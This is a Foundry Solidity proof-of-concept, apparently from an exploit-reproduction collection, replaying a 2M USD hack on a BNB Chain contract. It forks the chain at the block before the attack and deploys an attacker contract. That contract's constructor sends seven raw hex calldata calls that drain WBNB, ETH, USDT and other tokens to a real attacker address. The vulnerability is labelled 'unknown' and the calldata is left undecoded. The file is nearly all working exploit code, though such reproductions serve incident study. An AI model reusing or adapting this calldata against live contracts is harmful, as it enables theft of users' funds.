HIGH severity: unverified_b5cb exploit (unknown). @KeyInfo - Total Lost : 2M USD Attacker : https://bscscan.com/address/0xd5c6f3b71bcceb2ef8332bd8225f5f39e56a122c Attack Contract : https://bscscan.com/address/0x7c2565b563e057d482be2bf77796047e5340c57a Vulnerable Contract : https://bscscan.com/address/0xb5cb0555a1d28c9dfdbc14017dae131d5c1cc19c Attac

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 2M USD
// Attacker : https://bscscan.com/address/0xd5c6f3b71bcceb2ef8332bd8225f5f39e56a122c
// Attack Contract : https://bscscan.com/address/0x7c2565b563e057d482be2bf77796047e5340c57a
// Vulnerable Contract : https://bscscan.com/address/0xb5cb0555a1d28c9dfdbc14017dae131d5c1cc19c
// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x8c026c3939f7e2d0376d13e30859fa918a5a567348ca1329836df88bef30c73e
// Other Similar Attack Tx : 
// - https://app.blocksec.com/explorer/tx/bsc/0x7708aaedf3d408c47b04d62dac6edd2496637be9cb48852000662d22d2131f44
// - https://app.blocksec.com/explorer/tx/bsc/0xf9025e317ce71bc8c055a511fccf0eb4eafd0b8c613da4d5a8e05e139966d6ff

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0xb5cb0555a1d28c9dfdbc14017dae131d5c1cc19c

// @Analysis
// Post-mortem : https://x.com/TenArmorAlert/status/1937761064713941187
// Twitter Guy : https://x.com/TenArmorAlert/status/1937761064713941187
// Hacking God : N/A

address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant BEP20UpgradeableProxy = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;
address constant OwnedUpgradeabilityProxy = 0x40af3827F39D0EAcBF4A168f8D4ee67c121D11c9;
address constant TransparentUpgradeableProxy = 0xc5f0f7b66764F6ec8C8Dff7BA683102295E16409;
address constant BEP20Token = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c;
address constant BEP20USDT = 0x55d398326f99059fF775485246999027B3197955;
address constant BEP20Ethereum = 0x2170Ed0880ac9A755fd29B2688956BD959F933F8;
address constant owner = 0xB5CB0555A1D28C9DfdbC14017dae131d5c1cc19c;
address constant victim = 0xB5CB0555c4A333543DbE0b219923C7B3e9D84a87;
address constant attacker = 0xd5c6f3B71bCcEb2eF8332bd8225f5F39E56A122c;


contract ContractTest is Test {
    function setUp() public {
        vm.createSelectFork("bsc", 52052680-1);
    }
    
    function testPoC() public {
        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c).balanceOf(attacker), 18);
        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8).balanceOf(attacker), 18);
        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);
        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x40af3827F39D0EAcBF4A168f8D4ee67c121D11c9).balanceOf(attacker), 18);
        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c).balanceOf(attacker), 18);
        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d).balanceOf(attacker), 18);
        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0xc5f0f7b66764F6ec8C8Dff7BA683102295E16409).balanceOf(attacker), 18);
        vm.startPrank(attacker, attacker);
        AttackerC attC = new AttackerC();
        vm.stopPrank();
        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c).balanceOf(attacker), 18);
        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8).balanceOf(attacker), 18);
        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);
        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x40af3827F39D0EAcBF4A168f8D4ee67c121D11c9).balanceOf(attacker), 18);
        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c).balanceOf(attacker), 18);
        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d).balanceOf(attacker), 18);
        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0xc5f0f7b66764F6ec8C8Dff7BA683102295E16409).balanceOf(attacker), 18);
    }
}

// 0x7C2565b563E057D482be2Bf77796047E5340C57a
contract AttackerC {
    constructor() {
        require(victim == 0xB5CB0555c4A333543DbE0b219923C7B3e9D84a87, "victim mismatch");

        IERC20(wbnb).balanceOf(owner);
        // it seems calling the printMoney
        // but hard to decode the calldata
        (bool s1,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a2000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c000000000000000000000000000000000000000000000001382294b6a25c95b6000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
        require(s1);

        IERC20(BEP20Ethereum).balanceOf(owner);
        (bool s2,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a20000000000000000000000002170ed0880ac9a755fd29b2688956bd959f933f800000000000000000000000000000000000000000000000014ed4fb12d0c1e2d000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
        require(s2);

        IERC20(BEP20USDT).balanceOf(owner);
        (bool s3,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a200000000000000000000000055d398326f99059ff775485246999027b3197955000000000000000000000000000000000000000000000135bc852b49b2cd8db4000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
        require(s3);

        IOwnedUpgradeabilityProxy(OwnedUpgradeabilityProxy).balanceOf(owner);
        (bool s4,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a200000000000000000000000040af3827f39d0eacbf4a168f8d4ee67c121d11c90000000000000000000000000000000000000000000000e696b963acf3b8ff37000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
        require(s4);

        IBEP20Token(BEP20Token).balanceOf(owner);
        (bool s5,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a20000000000000000000000007130d2a12b9bcbfae4f2634d864a1ee1ce3ead9c0000000000000000000000000000000000000000000000000071c00e14a47a0b000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
        require(s5);

        IBEP20UpgradeableProxy(BEP20UpgradeableProxy).balanceOf(owner);
        (bool s6,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a20000000000000000000000008ac76a51cc950d9822d68b83fe1ad97b32cd580d00000000000000000000000000000000000000000000006df1a2d94e17e00b0d000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
        require(s6);

        ITransparentUpgradeableProxy(TransparentUpgradeableProxy).balanceOf(owner);
        (bool s7,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a2000000000000000000000000c5f0f7b66764f6ec8c8dff7ba683102295e164090000000000000000000000000000000000000000000000529b36f9efe67f88b7000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
        require(s7);
    } 
}

interface IBEP20UpgradeableProxy {
	function balanceOf(address) external returns (uint256); 
}
interface IOwnedUpgradeabilityProxy {
	function balanceOf(address) external returns (uint256); 
}
interface ITransparentUpgradeableProxy {
	function balanceOf(address) external returns (uint256); 
}
interface IBEP20Token {
	function balanceOf(address) external returns (uint256); 
}
interface IBEP20USDT {
	function balanceOf(address) external returns (uint256); 
}
interface IBEP20Ethereum {
	function balanceOf(address) external returns (uint256); 
}

Vulnerability type: unknown